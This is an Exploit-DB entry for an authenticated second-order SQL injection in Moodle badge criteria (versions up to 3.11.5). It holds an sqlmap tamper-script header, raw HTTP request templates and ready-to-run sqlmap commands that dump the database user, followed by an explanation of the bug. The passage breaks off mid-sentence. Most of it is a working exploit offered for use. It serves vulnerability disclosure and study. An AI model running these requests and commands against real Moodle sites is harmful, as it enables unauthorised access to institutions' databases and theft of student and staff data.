Exploit-DB #50825
Description: Moodle 3.11.5 - SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-03-16
Author: Chris Anastasio

Exploit:
# Exploit Title: Moodle 3.11.5 - SQLi (Authenticated)
# Date: 2/3/2022
# Exploit Author: Chris Anastasio (@mufinnnnnnn)
# Vendor Homepage: https://moodle.com/
# Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip
# Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/
# Tested on: Moodle 3.11.5+

#!/usr/bin/env python

"""
thanks to:
     - 
https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/
     - 
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
     - Miroslav Stampar for maintaining this incredible tool

greetz to:
     - @steventseeley
     - @fabiusartrel
     - @mpeg4codec
     - @0x90shell
     - @jkbenaim
     - jmp

"""

import sys
import requests
import re
from pprint import pprint
from collections import OrderedDict
from lib.core.enums import PRIORITY
from lib.core.data import conf
from lib.core.data import kb
from random import sample
__priority__ = PRIORITY.NORMAL

requests.packages.urllib3.disable_warnings()

"""
Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by 
muffin (@mufinnnnnnn)

How to use:
     1. Define the variables at the top of the tamper() function, example:
             username    = "teacher's-username"
             [CREDENTIAL_REDACTED]'s-password"
             app_root    = "http://127.0.0.1/moodle"
             course_id   = 3
         NOTE: the course_id should be a course that your teacher can 
create badges on

     2. Create a file called `req.txt` that looks like the following. Be 
sure to update the `Host:` field...

         POST 
/moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6 
HTTP/1.1
         Host: <your-target-here>
         Content-Type: application/x-www-form-urlencoded
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
         Connection: close

sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save

     3. Create a file called `req2.txt` that looks like the following. 
Again, be sure to update the `Host:` field...

         POST /moodle/badges/action.php HTTP/1.1
         Host: <your-target-here>
         Content-Type: application/x-www-form-urlencoded
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
         Connection: close

id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me

     4. Run the following sqlmap command, make sure the tamper argument 
is pointing at this file:

         sqlmap -r req.txt --second-req req2.txt 
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' 
--drop-set-cookie --answer="login/index.php'. Do you want to 
follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12 
AND time-based blind (query SLEEP)' --current-user --batch --flush

         NOTES:
             - for some reason after the first run sqlmap complains that 
it cannot fingerprint
                 the db and will refuse to try enumerating anthing else, 
this
                 is why there is a flush at the end. I'm sure it can be 
fixed...
             - you can do error based with this command (if errors are 
enabled...not likely):
                 sqlmap -r req.txt --second-req req2.txt 
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' 
--level=5 --drop-set-cookie --answer="login/index.php'. Do you want to 
follow?=n,Do you want to process it=y" --batch --current-user 
--fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based - 
WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'


How it works (briefly):
     - In order to get our sql query into the database it's necessary to 
create a
         badge and add some criteria. It is when adding the critera that 
the
         sql-to-be-executed-2nd-order is inserted into the database.
         Finally, when the badge is enabled the injected sql is executed.
     - This tamper script does the following:
         - log in to the app
         - update cookie/sesskey for both the 1st and 2nd requests
         - make all the requests necessary to create the badge, right up 
until adding the critera
     - sqlmap itself adds the criteria with whatever payload it's testing
     - sqlmap makes the 2nd call to enable the badge (runs the injected sql)
     - next time around the tamper script will delete the badge that it last
         created to prevent have 10000s of badges for the course


Analysis of the bug:
     - see http://muffsec.com/blog/moodle-2nd-order-sqli/


Why?:
     1. It's an interesting bug, 2nd order sqli is more rare (or maybe 
just harder to find?)
     2. It's an interesting use of sqlmap. There are some articles 
talking about using it for 2nd order sqli
         but the use cases outlined are relatively straightforward. 
There's a few hacky things being done
         with sqlmap in this script which others might want to do some 
day i.e.
             - using the tamper script to authenticate to the app
             - updating the Cookie in sqlmap's httpHeader structure
             - updating the CSRF token (sesskey) in the body of both the 
1st and 2nd request
     3. I wanted to practice programming/thought it would be fun. Also I 
didn't want to reinvent the
         wheel w